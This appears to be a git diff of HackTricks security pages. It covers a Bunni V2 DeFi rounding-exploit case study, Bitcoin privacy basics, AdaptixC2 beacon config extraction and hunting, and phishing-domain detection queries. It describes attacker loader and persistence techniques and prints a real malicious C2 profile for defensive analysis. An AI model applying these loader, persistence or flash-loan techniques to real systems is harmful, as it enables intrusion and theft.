- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
|
||||
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
|
||||
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
|
||||
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
|
||||
- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges.
|
||||
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
|
||||
|
||||
## Case study: Bunni V2 (2025‑09‑02)
|
||||
|
||||
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
|
||||
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
|
||||
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
|
||||
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
|
||||
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
|
||||
|
||||
## Hunting checklist
|
||||
|
||||
- Does the pool use a non‑zero hooks address? Which callbacks are enabled?
|
||||
- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic?
|
||||
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
|
||||
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
|
||||
- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
|
||||
|
||||
## References
|
||||
|
||||
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,191 +0,0 @@
|
||||
# Blockchain and Crypto Currencies
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Concepts
|
||||
|
||||
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
|
||||
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
|
||||
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
|
||||
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
|
||||
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
|
||||
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
|
||||
|
||||
## Consensus Mechanisms
|
||||
|
||||
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
|
||||
|
||||
- **Proof of Work (PoW)** relies on computational power for transaction verification.
|
||||
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
|
||||
|
||||
## Bitcoin Essentials
|
||||
|
||||
### Transactions
|
||||
|
||||
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
|
||||
|
||||
#### Key Components:
|
||||
|
||||
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
|
||||
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
|
||||
|
||||
## Bitcoin Privacy Concerns
|
||||
|
||||
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
|
||||
|
||||
## Acquiring Bitcoins Anonymously
|
||||
|
||||
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
|
||||
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
|
||||
|
||||
### Example
|
||||
|
||||
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
|
||||
|
||||
## **Social Networks & Forums Exposure**
|
||||
|
||||
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
|
||||
|
||||
## **Transaction Graph Analysis**
|
||||
|
||||
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
|
||||
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
|
||||
|
||||
### Example
|
||||
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
|
||||
## **Forced Address Reuse**
|
||||
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
|
||||
### Correct Wallet Behavior
|
||||
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
|
||||
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||
|
||||
## **Traffic Analysis**
|
||||
|
||||
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||
|
||||
## More
|
||||
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
|
||||
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||
|
||||
## Mixing Services
|
||||
|
||||
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
|
||||
## PayJoin
|
||||
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
|
||||
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
|
||||
|
||||
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
|
||||
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
|
||||
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
|
||||
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
|
||||
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
|
||||
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
|
||||
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
|
||||
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **Understanding Gas**
|
||||
|
||||
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
|
||||
|
||||
## **Executing Transactions**
|
||||
|
||||
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
|
||||
|
||||
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
|
||||
|
||||
## References
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -0,0 +1,251 @@
|
||||
# AdaptixC2 Configuration Extraction and TTPs
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
AdaptixC2 is a modular, open‑source post‑exploitation/C2 framework with Windows x86/x64 beacons (EXE/DLL/service EXE/raw shellcode) and BOF support. This page documents:
|
||||
- How its RC4‑packed configuration is embedded and how to extract it from beacons
|
||||
- Network/profile indicators for HTTP/SMB/TCP listeners
|
||||
- Common loader and persistence TTPs observed in the wild, with links to relevant Windows technique pages
|
||||
|
||||
## Beacon profiles and fields
|
||||
|
||||
AdaptixC2 supports three primary beacon types:
|
||||
- BEACON_HTTP: web C2 with configurable servers/ports/SSL, method, URI, headers, user‑agent, and a custom parameter name
|
||||
- BEACON_SMB: named‑pipe peer‑to‑peer C2 (intranet)
|
||||
- BEACON_TCP: direct sockets, optionally with a prepended marker to obfuscate protocol start
|
||||
|
||||
Typical profile fields observed in HTTP beacon configs (after decryption):
|
||||
- agent_type (u32)
|
||||
- use_ssl (bool)
|
||||
- servers_count (u32), servers (array of strings), ports (array of u32)
|
||||
- http_method, uri, parameter, user_agent, http_headers (length‑prefixed strings)
|
||||
- ans_pre_size (u32), ans_size (u32) – used to parse response sizes
|
||||
- kill_date (u32), working_time (u32)
|
||||
- sleep_delay (u32), jitter_delay (u32)
|
||||
- listener_type (u32)
|
||||
- download_chunk_size (u32)
|
||||
|
||||
Example default HTTP profile (from a beacon build):
|
||||
|
||||
```json
|
||||
{
|
||||
"agent_type": 3192652105,
|
||||
"use_ssl": true,
|
||||
"servers_count": 1,
|
||||
"servers": ["172.16.196.1"],
|
||||
"ports": [4443],
|
||||
"http_method": "POST",
|
||||
"uri": "/uri.php",
|
||||
"parameter": "X-Beacon-Id",
|
||||
"user_agent": "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0",
|
||||
"http_headers": "\r\n",
|
||||
"ans_pre_size": 26,
|
||||
"ans_size": 47,
|
||||
"kill_date": 0,
|
||||
"working_time": 0,
|
||||
"sleep_delay": 2,
|
||||
"jitter_delay": 0,
|
||||
"listener_type": 0,
|
||||
"download_chunk_size": 102400
|
||||
}
|
||||
```
|
||||
|
||||
Observed malicious HTTP profile (real attack):
|
||||
|
||||
```json
|
||||
{
|
||||
"agent_type": 3192652105,
|
||||
"use_ssl": true,
|
||||
"servers_count": 1,
|
||||
"servers": ["tech-system[.]online"],
|
||||
"ports": [443],
|
||||
"http_method": "POST",
|
||||
"uri": "/endpoint/api",
|
||||
"parameter": "X-App-Id",
|
||||
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
|
||||
"http_headers": "\r\n",
|
||||
"ans_pre_size": 26,
|
||||
"ans_size": 47,
|
||||
"kill_date": 0,
|
||||
"working_time": 0,
|
||||
"sleep_delay": 4,
|
||||
"jitter_delay": 0,
|
||||
"listener_type": 0,
|
||||
"download_chunk_size": 102400
|
||||
}
|
||||
```
|
||||
|
||||
## Encrypted configuration packing and load path
|
||||
|
||||
When the operator clicks Create in the builder, AdaptixC2 embeds the encrypted profile as a tail blob in the beacon. The format is:
|
||||
- 4 bytes: configuration size (uint32, little‑endian)
|
||||
- N bytes: RC4‑encrypted configuration data
|
||||
- 16 bytes: RC4 key
|
||||
|
||||
The beacon loader copies the 16‑byte key from the end and RC4‑decrypts the N‑byte block in place:
|
||||
|
||||
```c
|
||||
ULONG profileSize = packer->Unpack32();
|
||||
this->encrypt_key = (PBYTE) MemAllocLocal(16);
|
||||
memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16);
|
||||
DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16);
|
||||
```
|
||||
|
||||
Practical implications:
|
||||
- The entire structure often lives inside the PE .rdata section.
|
||||
- Extraction is deterministic: read size, read ciphertext of that size, read the 16‑byte key placed immediately after, then RC4‑decrypt.
|
||||
|
||||
## Configuration extraction workflow (defenders)
|
||||
|
||||
Write an extractor that mimics the beacon logic:
|
||||
1) Locate the blob inside the PE (commonly .rdata). A pragmatic approach is to scan .rdata for a plausible [size|ciphertext|16‑byte key] layout and attempt RC4.
|
||||
2) Read first 4 bytes → size (uint32 LE).
|
||||
3) Read next N=size bytes → ciphertext.
|
||||
4) Read final 16 bytes → RC4 key.
|
||||
5) RC4‑decrypt the ciphertext. Then parse the plain profile as:
|
||||
- u32/boolean scalars as noted above
|
||||
- length‑prefixed strings (u32 length followed by bytes; trailing NUL can be present)
|
||||
- arrays: servers_count followed by that many [string, u32 port] pairs
|
||||
|
||||
Minimal Python proof‑of‑concept (standalone, no external deps) that works with a pre‑extracted blob:
|
||||
|
||||
```python
|
||||
import struct
|
||||
from typing import List, Tuple
|
||||
|
||||
def rc4(key: bytes, data: bytes) -> bytes:
|
||||
S = list(range(256))
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + S[i] + key[i % len(key)]) & 0xFF
|
||||
S[i], S[j] = S[j], S[i]
|
||||
i = j = 0
|
||||
out = bytearray()
|
||||
for b in data:
|
||||
i = (i + 1) & 0xFF
|
||||
j = (j + S[i]) & 0xFF
|
||||
S[i], S[j] = S[j], S[i]
|
||||
K = S[(S[i] + S[j]) & 0xFF]
|
||||
out.append(b ^ K)
|
||||
return bytes(out)
|
||||
|
||||
class P:
|
||||
def __init__(self, buf: bytes):
|
||||
self.b = buf; self.o = 0
|
||||
def u32(self) -> int:
|
||||
v = struct.unpack_from('<I', self.b, self.o)[0]; self.o += 4; return v
|
||||
def u8(self) -> int:
|
||||
v = self.b[self.o]; self.o += 1; return v
|
||||
def s(self) -> str:
|
||||
L = self.u32(); s = self.b[self.o:self.o+L]; self.o += L
|
||||
return s[:-1].decode('utf-8','replace') if L and s[-1] == 0 else s.decode('utf-8','replace')
|
||||
|
||||
def parse_http_cfg(plain: bytes) -> dict:
|
||||
p = P(plain)
|
||||
cfg = {}
|
||||
cfg['agent_type'] = p.u32()
|
||||
cfg['use_ssl'] = bool(p.u8())
|
||||
n = p.u32()
|
||||
cfg['servers'] = []
|
||||
cfg['ports'] = []
|
||||
for _ in range(n):
|
||||
cfg['servers'].append(p.s())
|
||||
cfg['ports'].append(p.u32())
|
||||
cfg['http_method'] = p.s()
|
||||
cfg['uri'] = p.s()
|
||||
cfg['parameter'] = p.s()
|
||||
cfg['user_agent'] = p.s()
|
||||
cfg['http_headers'] = p.s()
|
||||
cfg['ans_pre_size'] = p.u32()
|
||||
cfg['ans_size'] = p.u32() + cfg['ans_pre_size']
|
||||
cfg['kill_date'] = p.u32()
|
||||
cfg['working_time'] = p.u32()
|
||||
cfg['sleep_delay'] = p.u32()
|
||||
cfg['jitter_delay'] = p.u32()
|
||||
cfg['listener_type'] = 0
|
||||
cfg['download_chunk_size'] = 0x19000
|
||||
return cfg
|
||||
|
||||
# Usage (when you have [size|ciphertext|key] bytes):
|
||||
# blob = open('blob.bin','rb').read()
|
||||
# size = struct.unpack_from('<I', blob, 0)[0]
|
||||
# ct = blob[4:4+size]
|
||||
# key = blob[4+size:4+size+16]
|
||||
# pt = rc4(key, ct)
|
||||
# cfg = parse_http_cfg(pt)
|
||||
```
|
||||
|
||||
Tips:
|
||||
- When automating, use a PE parser to read .rdata then apply a sliding window: for each offset o, try size = u32(.rdata[o:o+4]), ct = .rdata[o+4:o+4+size], candidate key = next 16 bytes; RC4‑decrypt and check that string fields decode as UTF‑8 and lengths are sane.
|
||||
- Parse SMB/TCP profiles by following the same length‑prefixed conventions.
|
||||
|
||||
## Network fingerprinting and hunting
|
||||
|
||||
HTTP
|
||||
- Common: POST to operator‑selected URIs (e.g., /uri.php, /endpoint/api)
|
||||
- Custom header parameter used for beacon ID (e.g., X‑Beacon‑Id, X‑App‑Id)
|
||||
- User‑agents mimicking Firefox 20 or contemporary Chrome builds
|
||||
- Polling cadence visible via sleep_delay/jitter_delay
|
||||
|
||||
SMB/TCP
|
||||
- SMB named‑pipe listeners for intranet C2 where web egress is constrained
|
||||
- TCP beacons may prepend a few bytes before traffic to obfuscate protocol start
|
||||
|
||||
## Loader and persistence TTPs seen in incidents
|
||||
|
||||
In‑memory PowerShell loaders
|
||||
- Download Base64/XOR payloads (Invoke‑RestMethod / WebClient)
|
||||
- Allocate unmanaged memory, copy shellcode, switch protection to 0x40 (PAGE_EXECUTE_READWRITE) via VirtualProtect
|
||||
- Execute via .NET dynamic invocation: Marshal.GetDelegateForFunctionPointer + delegate.Invoke()
|
||||
|
||||
Check these pages for in‑memory execution and AMSI/ETW considerations:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/av-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Persistence mechanisms observed
|
||||
- Startup folder shortcut (.lnk) to re‑launch a loader at logon
|
||||
- Registry Run keys (HKCU/HKLM ...\CurrentVersion\Run), often with benign‑sounding names like "Updater" to start loader.ps1
|
||||
- DLL search‑order hijack by dropping msimg32.dll under %APPDATA%\Microsoft\Windows\Templates for susceptible processes
|
||||
|
||||
Technique deep‑dives and checks:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting ideas
|
||||
- PowerShell spawning RW→RX transitions: VirtualProtect to PAGE_EXECUTE_READWRITE inside powershell.exe
|
||||
- Dynamic invocation patterns (GetDelegateForFunctionPointer)
|
||||
- Startup .lnk under user or common Startup folders
|
||||
- Suspicious Run keys (e.g., "Updater"), and loader names like update.ps1/loader.ps1
|
||||
- User‑writable DLL paths under %APPDATA%\Microsoft\Windows\Templates containing msimg32.dll
|
||||
|
||||
## Notes on OpSec fields
|
||||
|
||||
- KillDate: timestamp after which the agent self‑expires
|
||||
- WorkingTime: hours when the agent should be active to blend with business activity
|
||||
|
||||
These fields can be used for clustering and to explain observed quiet periods.
|
||||
|
||||
## YARA and static leads
|
||||
|
||||
Unit 42 published basic YARA for beacons (C/C++ and Go) and loader API‑hashing constants. Consider complementing with rules that look for the [size|ciphertext|16‑byte‑key] layout near PE .rdata end and the default HTTP profile strings.
|
||||
|
||||
## References
|
||||
|
||||
- [AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks (Unit 42)](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
|
||||
- [AdaptixC2 GitHub](https://github.com/Adaptix-Framework/AdaptixC2)
|
||||
- [Adaptix Framework Docs](https://adaptix-framework.gitbook.io/adaptix-framework)
|
||||
- [Marshal.GetDelegateForFunctionPointer – Microsoft Docs](https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer)
|
||||
- [VirtualProtect – Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)
|
||||
- [Memory protection constants – Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants)
|
||||
- [Invoke-RestMethod – PowerShell](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod)
|
||||
- [MITRE ATT&CK T1547.001 – Registry Run Keys/Startup Folder](https://attack.mitre.org/techniques/T1547/001/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -271,9 +271,18 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
|
||||
|
||||
---
|
||||
|
||||
## AdaptixC2: Configuration Extraction and TTPs
|
||||
|
||||
See the dedicated page:
|
||||
|
||||
{{#ref}}
|
||||
adaptixc2-config-extraction-and-ttps.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- [Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -15,11 +15,13 @@ It's enough to **generate a list of the most probable phishing names** that an a
|
||||
|
||||
### Finding suspicious domains
|
||||
|
||||
For this purpose, you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:
|
||||
For this purpose, you can use any of the following tools. Note that these tools will also perform DNS requests automatically to check if the domain has any IP assigned to it:
|
||||
|
||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
Tip: If you generate a candidate list, also feed it into your DNS resolver logs to detect **NXDOMAIN lookups from inside your org** (users trying to reach a typo before the attacker actually registers it). Sinkhole or pre-block these domains if policy allows.
|
||||
|
||||
### Bitflipping
|
||||
|
||||
**You can find a short the explanation of this technique in the parent page. Or read the original research in** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
@ -29,6 +31,12 @@ For example, a 1 bit modification in the domain microsoft.com can transform it i
|
||||
|
||||
**All possible bit-flipping domain names should be also monitored.**
|
||||
|
||||
If you also need to consider homoglyph/IDN lookalikes (e.g., mixing Latin/Cyrillic characters), check:
|
||||
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Basic checks
|
||||
|
||||
Once you have a list of potential suspicious domain names you should **check** them (mainly the ports HTTP and HTTPS) to **see if they are using some login form similar** to someone of the victim's domain.\
|
||||
@ -42,11 +50,78 @@ If you want to go one step further I would recommend you to **monitor those susp
|
||||
In order to **automate this** I would recommend having a list of login forms of the victim's domains, spider the suspicious web pages and comparing each login form found inside the suspicious domains with each login form of the victim's domain using something like `ssdeep`.\
|
||||
If you have located the login forms of the suspicious domains, you can try to **send junk credentials** and **check if it's redirecting you to the victim's domain**.
|
||||
|
||||
## Domain names using keywords
|
||||
---
|
||||
|
||||
### Hunting by favicon and web fingerprints (Shodan/ZoomEye/Censys)
|
||||
|
||||
Many phishing kits reuse favicons from the brand they impersonate. Internet-wide scanners compute a MurmurHash3 of the base64-encoded favicon. You can generate the hash and pivot on it:
|
||||
|
||||
Python example (mmh3):
|
||||
|
||||
```python
|
||||
import base64, requests, mmh3
|
||||
url = "https://www.paypal.com/favicon.ico" # change to your brand icon
|
||||
b64 = base64.encodebytes(requests.get(url, timeout=10).content)
|
||||
print(mmh3.hash(b64)) # e.g., 309020573
|
||||
```
|
||||
|
||||
- Query Shodan: `http.favicon.hash:309020573`
|
||||
- With tooling: look at community tools like favfreak to generate hashes and dorks for Shodan/ZoomEye/Censys.
|
||||
|
||||
Notes
|
||||
- Favicons are reused; treat matches as leads and validate content and certs before acting.
|
||||
- Combine with domain-age and keyword heuristics for better precision.
|
||||
|
||||
### URL telemetry hunting (urlscan.io)
|
||||
|
||||
`urlscan.io` stores historical screenshots, DOM, requests and TLS metadata of submitted URLs. You can hunt for brand abuse and clones:
|
||||
|
||||
Example queries (UI or API):
|
||||
- Find lookalikes excluding your legit domains: `page.domain:(/.*yourbrand.*/ AND NOT yourbrand.com AND NOT www.yourbrand.com)`
|
||||
- Find sites hotlinking your assets: `domain:yourbrand.com AND NOT page.domain:yourbrand.com`
|
||||
- Restrict to recent results: append `AND date:>now-7d`
|
||||
|
||||
API example:
|
||||
|
||||
```bash
|
||||
# Search recent scans mentioning your brand
|
||||
curl -s 'https://urlscan.io/api/v1/search/?q=page.domain:(/.*yourbrand.*/%20AND%20NOT%20yourbrand.com)%20AND%20date:>now-7d' \
|
||||
-H 'API-Key: <YOUR_URLSCAN_KEY>' | jq '.results[].page.url'
|
||||
```
|
||||
|
||||
From the JSON, pivot on:
|
||||
- `page.tlsIssuer`, `page.tlsValidFrom`, `page.tlsAgeDays` to spot very new certs for lookalikes
|
||||
- `task.source` values like `certstream-suspicious` to tie findings to CT monitoring
|
||||
|
||||
### Domain age via RDAP (scriptable)
|
||||
|
||||
RDAP returns machine-readable creation events. Useful to flag **newly registered domains (NRDs)**.
|
||||
|
||||
```bash
|
||||
# .com/.net RDAP (Verisign)
|
||||
curl -s https://rdap.verisign.com/com/v1/domain/suspicious-example.com | \
|
||||
jq -r '.events[] | select(.eventAction=="registration") | .eventDate'
|
||||
|
||||
# Generic helper using rdap.net redirector
|
||||
curl -s https://www.rdap.net/domain/suspicious-example.com | jq
|
||||
```
|
||||
|
||||
Enrich your pipeline by tagging domains with registration age buckets (e.g., <7 days, <30 days) and prioritise triage accordingly.
|
||||
|
||||
### TLS/JAx fingerprints to spot AiTM infrastructure
|
||||
|
||||
Modern credential-phishing increasingly uses **Adversary-in-the-Middle (AiTM)** reverse proxies (e.g., Evilginx) to steal session tokens. You can add network-side detections:
|
||||
|
||||
